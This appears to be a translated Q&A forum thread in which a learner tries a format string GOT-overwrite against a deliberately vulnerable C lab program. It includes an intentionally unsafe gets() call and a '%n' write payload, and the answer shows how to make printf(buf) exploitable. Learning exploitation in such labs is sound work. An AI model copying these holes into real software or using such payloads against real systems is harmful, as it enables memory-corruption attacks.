我正在尝试使用以下C代码利用printf漏洞:
#include <stdio.h>
#include <stdlib.h>
/*
gcc -fno-stack-protector -z execstack -o test test.c
*/
void attack(){
printf("Dropping to shell...\n");
}
int main(int argc, char **argv){
char buf[100];
printf("Enter user name:");
gets(buf); // what if using: scanf("%s",buf); ?
printf("buffer (%d): %s\n",strlen(buf), buf);
return 0;
}
然后我尝试通过重写0x804a00c中的值来改变printf @ plt跳转到攻击函数
08048370 <printf@plt>:
8048370: ff 25 0c a0 04 08 jmp *0x804a00c
8048376: 68 00 00 00 00 push $0x0
804837b: e9 e0 ff ff ff jmp 8048360 <_init+0x28>
我使用以下命令在GDB中测试,我尝试将0x804a00c中的值更改为0x00000041,以验证我是否可以更改它。然后我可以将它改为attack()地址。
gdb-peda$ r
Starting program:
Enter user name:$(printf "\x0c\xa0\x04\x08").%60x%5\$n
然而它对我不起作用,地址不会改变,我在堆栈中验证了值(在printf()地址处断开)并得到:
[------------------------------------stack-------------------------------------]
0000| 0xbffff070 --> 0x80485c6 ("buffer (%d): %s\n")
0004| 0xbffff074 --> 0x26 ('&')
0008| 0xbffff078 --> 0xbffff08c ("$(printf \"\\x0c\\xa0\\x04\\x08\").%60x%5\\$n")
0012| 0xbffff07c --> 0x0
0016| 0xbffff080 --> 0xbffff134 --> 0x4a91b2bc
0020| 0xbffff084 --> 0xbffff0a8 (".%60x%5\\$n")
0024| 0xbffff088 --> 0xbffff0a0 ("04\\x08\").%60x%5\\$n")
0028| 0xbffff08c ("$(printf \"\\x0c\\xa0\\x04\\x08\").%60x%5\\$n")
我认为我没有传递正确的值,因为它改为另一种格式。我想这是因为gets(),因为当我使用argv传递:$(printf“\ x0c \ xa0 \ x04 \ x08”)时,我可以正确传递它。%60x%5 \ $ n。
那么有谁知道如何解决这个问题?而且,如果输入使用scanf(%s,buf),如果我在堆栈上得到以下内容,这也是不正确的。
[------------------------------------stack-------------------------------------]
0000| 0xbffff070 --> 0x80485f9 ("buffer (%d): %s\n")
0004| 0xbffff074 --> 0x8
0008| 0xbffff078 --> 0xbffff08c ("$(printf")
0012| 0xbffff07c --> 0x0
0016| 0xbffff080 --> 0xbffff134 --> 0x4f936a87
0020| 0xbffff084 --> 0xbffff0a8 --> 0xb7e21c34 --> 0x2aad
0024| 0xbffff088 --> 0xbffff0a0 --> 0xffffffff
0028| 0xbffff08c ("$(printf")
答案 0 :(得分:0)
你在这里有几个误解。
首先,$(cmd)
是 shell 命令替换。传递参数时很有用:例如,./foo $(python -c 'print "A"*4')
等同于./foo AAAA
。如果编程从stdin获取输入,则必须使用管道:例如,python -c 'print "A"*4' | ./foo
相当于运行./foo
并在键盘上键入AAAA
。
其次,代码中实际上没有没有格式字符串漏洞。但是,堆栈缓冲区溢出(gets
或scanf
)。使用用户控制的格式字符串调用printf
scanf
之类的函数时,会发生格式字符串漏洞。如果您需要,可以将最后printf
更改为:
printf("buffer (%d): ", strlen(buf));
printf(buf); // <-- this is vulnerable
printf("\n");
至于gets(buf)
和scanf("%s", buf)
之间的区别:两者都会在换行符/ EOF停止,但scanf
也会在空格处停止(可以在输出中看到只有$(printf
{1}}已被阅读。